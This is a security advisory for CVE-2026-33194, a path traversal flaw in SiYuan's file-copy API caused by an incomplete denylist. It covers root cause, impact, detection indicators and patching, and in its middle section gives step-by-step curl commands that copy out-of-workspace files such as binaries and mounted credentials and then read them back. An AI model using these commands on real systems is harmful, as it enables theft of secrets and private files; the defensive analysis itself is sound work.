CVE-2026-33194: 
NixOS vulnerability analysis and mitigation

CVE-2026-33194 is a path traversal vulnerability (CWE-22) in SiYuan, a personal knowledge management system, caused by an incomplete denylist in the IsSensitivePath() function. It affects all versions up to and including 3.6.1, and was patched in version 3.6.2. The vulnerability is a bypass of a prior incomplete fix (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) and allows authenticated high-privilege users to read arbitrary files outside the workspace via the globalCopyFiles and importStdMd API endpoints. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory).

The root cause is an incomplete denylist in kernel/util/path.go (lines 391–405) used by the IsSensitivePath() function, classified as CWE-22 (Path Traversal). While the denylist blocks directories such as /etc, /root, /proc, and /tmp, it omits several security-relevant paths including /opt, /usr, /home, /mnt, /media, /snap, /sbin, and /lib64. The globalCopyFiles endpoint (kernel/api/file.go:82) relies solely on IsSensitivePath() as its path validation gate — if the check passes, the file is copied into the workspace and becomes readable via /api/file/getFile. The advisory recommends replacing the denylist with an allowlist approach that only permits access within the workspace directory (GitHub Advisory, SiYuan Advisory).

Successful exploitation allows an authenticated attacker with high privileges to read arbitrary files from unblocked filesystem paths, including application data in /opt, system configurations and binaries in /usr, other users' home directories in /home, and mounted volumes or network shares in /mnt and /media. In Docker deployments — a common SiYuan deployment model — this can expose the application's own source code, configuration files, and mounted secrets. There is no integrity or availability impact; the vulnerability is limited to confidentiality loss with a changed scope, meaning resources outside the vulnerable component can be affected (GitHub Advisory).

A proof-of-concept exploit is publicly available in the GitHub Security Advisory, consisting of concrete curl commands targeting the /api/file/globalCopyFiles endpoint with crafted JSON payloads. Exploitation requires a valid API token (high privileges), making it accessible only to authenticated users. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.04% (0.028% per GitHub), indicating a low near-term exploitation probability (GitHub Advisory, SiYuan Advisory).

1. Obtain API credentials: Acquire a valid SiYuan API token for an account with high privileges (e.g., from the SiYuan settings or an existing authenticated session).
2. Identify target files: Determine files of interest outside the workspace, such as /opt/siyuan/kernel/SiYuan-Kernel (application binary in Docker), /mnt/secrets/credentials.json (mounted secrets), or files in /home/<other_user>/.
3. Trigger file copy via globalCopyFiles: Send a crafted POST request to the /api/file/globalCopyFiles endpoint specifying the target file as a source and a workspace-accessible directory as the destination:

curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

4. Read the exfiltrated file: Retrieve the copied file from the workspace using the /api/file/getFile endpoint:

curl -s 'http://127.0.0.1:6806/api/file/getFile' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"path":"data/assets/SiYuan-Kernel"}'

5. Repeat for additional targets: Iterate over other non-denylisted paths (e.g., /mnt/secrets/credentials.json, /usr/local/etc/) to exfiltrate further sensitive data (SiYuan Advisory).

• Network: Unusual POST requests to /api/file/globalCopyFiles with JSON bodies containing paths outside the SiYuan workspace (e.g., /opt/, /mnt/, /usr/, /home/); subsequent GET/POST requests to /api/file/getFile for files in data/assets/ that were not user-created.
• Logs: SiYuan API access logs showing requests to globalCopyFiles or importStdMd with source paths referencing /opt, /usr, /home, /mnt, or /media; repeated access patterns from the same token targeting multiple sensitive paths.
• File System: Unexpected files appearing in the SiYuan workspace data/assets/ directory that correspond to system or application files (e.g., binaries, credential files, configuration files not created by normal user activity) (SiYuan Advisory).

Upgrade SiYuan to version 3.6.2 or later, which contains an updated fix for the incomplete denylist. If immediate patching is not possible, restrict network access to the globalCopyFiles and importStdMd API endpoints (e.g., via firewall rules or reverse proxy ACLs) and limit API token issuance to fully trusted users. The advisory also recommends that the underlying fix adopt an allowlist approach — permitting file access only within the workspace directory — rather than continuing to expand the denylist (GitHub Advisory, SiYuan Advisory).

The vulnerability was reported by a researcher identified as "offset" and published to the GitHub Advisory Database on March 18, 2026. The advisory explicitly notes that the denylist approach is "fundamentally flawed" and recommends a structural change to an allowlist model. No significant broader media coverage or notable social media commentary beyond the advisory itself has been identified (GitHub Advisory).